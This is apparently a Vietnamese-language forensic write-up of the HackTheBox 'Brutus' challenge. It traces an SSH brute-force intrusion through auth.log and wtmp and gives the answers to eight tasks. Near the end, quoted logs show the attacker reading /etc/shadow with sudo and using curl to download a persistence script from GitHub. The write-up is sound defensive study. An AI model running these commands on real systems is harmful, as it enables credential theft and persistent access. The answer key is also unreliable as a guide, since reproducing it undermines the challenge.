# Brutus

In this very easy Sherlock, you will familiarize yourself with `Unix auth.log` and `wtmp logs`. We'll explore a scenario where a Confluence server was brute-forced via its SSH service. After gaining access to the server, the attacker performed additional activities, which we can track using auth.log. Although auth.log is primarily used for brute-force analysis, we will delve into the full potential of this artifact in our investigation, including aspects of privilege escalation, persistence, and even some visibility into command execution.
## Initial Analysis
Đề bài cho ta 1 file auth.log và file wtmp

### Auth.log
Tệp auth.log được dùng để theo dõi các cơ chế xác thực, khi có người dùng nào đăng nhập, chuyển đổi người dùng hay sử dụng bất kì cơ chế nào yêu cầu xác thực thì mỗi entry sẽ được ghi vào log file này, ví dụ như sudo, cron job, ssh,...
Những trường trong tệp auth.log:
```
<Timestamp> <Hostname> <Service>[<process_id>]: <Message>
```
* Ngày giờ: timestamp cho sự kiện xảy ra
* Hostname: tên của system
* Service: tên của deamon hay service, ví dụ sshd cho ssh
* PID: id của tiến trình
* User: tên người dùng tham gia vào quy trình xác thực
* Authentication Status: chi tiết về attempt successful hay failed
* IP Address/hostname: đối với các kết nối từ xa, địa chỉ IP hoặc tên máy chủ của máy khách đang cố kết nối
* Message: thông báo chi tiết về sự kiện, bao gồm mọi thông báo lỗi hoặc mã cụ thể liên quan đến authentication attempts
Ví dụ:
```
Mar 10 10:23:45 exampleserver sshd[19360]: Failed password for invalid user admin from 192.168.1.101 port 22 ssh2
```
Entry ở trên hiển thị một attempt nhập mật khẩu không thành công của người dùng có tên "admin" trên exampleserver từ địa chỉ IP nguồn là 192.168.1.101 qua cổng 22 (SSH).
### Wtmp
Tệp wtmp ghi lại các sự kiện đăng nhập, đăng xuất trên hệ thống, đây là binary file, thường lưu tại /var/log/wtmp.
Các trường trong wtmp file:
* Tên người dùng: Tên của người dùng đang đăng nhập hoặc đăng xuất.
* Terminal: Tên terminal hay tên của thiết bị tty. Hiển thị chi tiết ssh hay telnet...
* IP Address/hostname: Đối với đăng nhập từ xa, địa chỉ IP hoặc tên máy chủ của máy người dùng.
* Login Time: Ngày và giờ người dùng đã đăng nhập.
* Logout Time: Ngày và giờ người dùng đã đăng xuất hoặc phiên đã đóng.
* Duration: Thời lượng của phiên.
### Utmpdump tool
Utmpdump là một công cụ tiện ích dùng để xem và phân tích các file nhật ký nhị phân như wtmp, utmp, và btmp.

Kết quả từ utmpdump sẽ hiển thị các trường như:
* Type: Loại bản ghi (USER_PROCESS, DEAD_PROCESS, BOOT_TIME, v.v.).
* PID: Process ID của phiên đăng nhập.
* Line: Tên terminal (pts/0, tty1, v.v.).
* ID: ID của session.
* User: Tên người dùng.
* Host: Địa chỉ hoặc hostname của nơi đăng nhập.
* Exit: Mã thoát của phiên làm việc.
* Session: ID của phiên.
* Time: Thời gian sự kiện xảy ra.
Ta có thể lưu file đã decode:
```
utmpdump /var/log/wtmp > wtmp_decoded.txt
```
Nếu muốn chuyển file txt thành file nhị phân ta có thể chuyển đổi nó lại như sau:
```
utmpdump -r wtmp_decoded.txt > /var/log/wtmp
```
## Task 1
**Analyzing the auth.log, can you identify the IP address used by the attacker to carry out a brute force attack?**
Phân tích auth.log, bạn có thể xác định địa chỉ IP được kẻ tấn công sử dụng để thực hiện một cuộc tấn công brute force không?
Có một số keywords để search phát hiện tấn công brute force như là "Invalid user" hay "Failed password"
```
cat auth.log | grep -E "Invalid user|Failed password"
```

## Task 2
**The brute force attempts were successful, and the attacker gained access to an account on the server. What is the username of this account?**
```
cat auth.log | grep -i "accepted" | grep "65.2.161.68"
```

## Task 3
**Can you identify the timestamp when the attacker manually logged in to the server to carry out their objectives?**
Lần đăng nhập thành công đầu tiên của kẻ tấn công là kết quả của bruteforce tự động và phiên đã bị đóng trong cùng giây khi nó được thiết lập. Sau khi biết
thông tin đăng nhập đang hoạt động, kẻ tấn công đã đăng nhập thủ công và mình phải xác định lần đăng nhập đó.
Auth.log đang ghi nhật ký khi kết nối SSH bắt đầu và khi nó bắt đầu xác thực. Khi quá trình xác thực đó thành công (trong trường hợp này là xác minh mật khẩu của người dùng dựa vào hàm băm trong /etc/shadow), thì nó sẽ khởi động một terminal cho người dùng cho phiên tương tác, đây là phiên được đăng nhập vào wtmp.

Mình sẽ xem terminal được khởi tạo khi nào trong file wtmp
```
utmpdump wtmp
```


=> 2024-03-06 06:32:45
## Task 4
**SSH login sessions are tracked and assigned a session number upon login. What is the session number assigned to the attacker's session for the user account from Question 2?**
Các phiên đăng nhập SSH được theo dõi và gán số phiên khi đăng nhập. Số phiên được gán cho phiên của kẻ tấn công đối với tài khoản người dùng trong Câu hỏi 2 là gì?
Số phiên được gán ngay sau khi mật khẩu được chấp nhận. Mỗi phiên đăng nhập SSH được gán một số phiên duy nhất để theo dõi, có thể xem trong tệp auth.log và có thể tìm thấy bằng cách xem dòng log ngay sau dòng log session opened.
```
grep -A 1 "session opened for user root" auth.log
```

So sánh với thời gian mở terminal mình thấy đây là session 37
## Task 5
**The attacker added a new user as part of their persistence strategy on the server and gave this new user account higher privileges. What is the name of this account?**
Kẻ tấn công đã add user mới để giữ persistence trên server, tên của user đó là gì?
Auth.log cũng theo dõi các thay đổi liên quan đến người dùng, nhóm trên máy chủ. Tìm kiếm các từ khóa như "useradd" sẽ giúp chúng ta xác định người dùng mới được tạo. Tương tự, "usermod" có thể được sử dụng để xác định các thay đổi được thực hiện đối với tài khoản người dùng như thêm người dùng vào nhóm, v.v. Chúng ta có thể sử dụng điều này để theo dõi hoạt động khi kẻ tấn công thêm tài khoản người dùng vào nhóm sudo hoặc các nhóm có đặc quyền cao khác.
Persistence: Kẻ tấn công thường tạo tài khoản người dùng mới để duy trì tính bền bỉ, tính bền bỉ, trong bối cảnh này, đề cập đến khả năng kẻ tấn công duy trì quyền truy cập hoặc kiểm soát hệ thống hoặc mạng bị xâm phạm trong một khoảng thời gian dài, sau khi đã đạt được quyền truy cập ban đầu, ngay cả khi khởi động lại máy.
```
grep "useradd" auth.log
```

## Task 6
**What is the MITRE ATT&CK sub-technique ID used for persistence?**

Một user đã được add như một cách để duy trì persistence vậy thì nó là ID nào trong MITRE ATT&CK sub-technique?
https://attack.mitre.org/matrices/enterprise/


Thông thường, tài khoản hệ thống có UID nhỏ hơn 1000, tài khoản có UID từ 1000 trở lên thường là tài khoản người dùng (local account) được tạo trên hệ thống.
`Mar 6 06:34:18 ip-172-31-35-28 useradd[2592]: new user: name=cyberjunkie, UID=1002, GID=1002, home=/home/cyberjunkie, shell=/bin/bash, from=/dev/pts/1`
Ở đây UID=1002, GID=1002 nghĩa là tài khoản local, thư mục home và shell bin/bash cũng thường nói đến tài khoản local.
## Task 7
**How long did the attacker's first SSH session last based on the previously confirmed authentication time and session ending within the auth.log? (seconds)**
Phiên SSH đầu tiên của kẻ tấn công kéo dài bao lâu dựa trên thời gian xác thực đã được xác nhận trước đó và phiên kết thúc trong auth.log?
```
grep -i -E "removed session|logged out" auth.log
```

Session kết thúc lúc 06:37:24, kết hợp câu trước session bắt đầu lúc 06:32:45, dùng [tool](https://www.calculator.net/time-duration-calculator.html) để tính thời gian hay vì tự tính cho chính xác.

## Task 8
**The attacker logged into their backdoor account and utilized their higher privileges to download a script. What is the full command executed using sudo?**
Kẻ tấn công đã đăng nhập vào tài khoản backdoor của họ và sử dụng các đặc quyền cao hơn để tải xuống tập lệnh. Lệnh đầy đủ được thực thi bằng sudo là gì?
Mặc dù auth.log không phải là một artifact được sử dụng để theo dõi các lệnh thực thi như auditd, v.v., khi một lệnh được thực thi với từ khóa sudo, lệnh đó sẽ được ghi vào auth.log vì hệ thống cần xác thực các đặc quyền của tài khoản để có được quyền cấp gốc cho lệnh đó.
Mặc dù auth.log không chủ yếu được sử dụng để theo dõi lệnh thực thi, các lệnh chạy với sudo vẫn được ghi vào vì chúng yêu cầu xác thực.
```
grep -i "command" auth.log
```

```
Mar 6 06:37:57 ip-172-31-35-28 sudo: cyberjunkie : TTY=pts/1 ; PWD=/home/cyberjunkie ; USER=root ; COMMAND=/usr/bin/cat /etc/shadow
Mar 6 06:39:38 ip-172-31-35-28 sudo: cyberjunkie : TTY=pts/1 ; PWD=/home/cyberjunkie ; USER=root ; COMMAND=/usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh
```
=> /usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh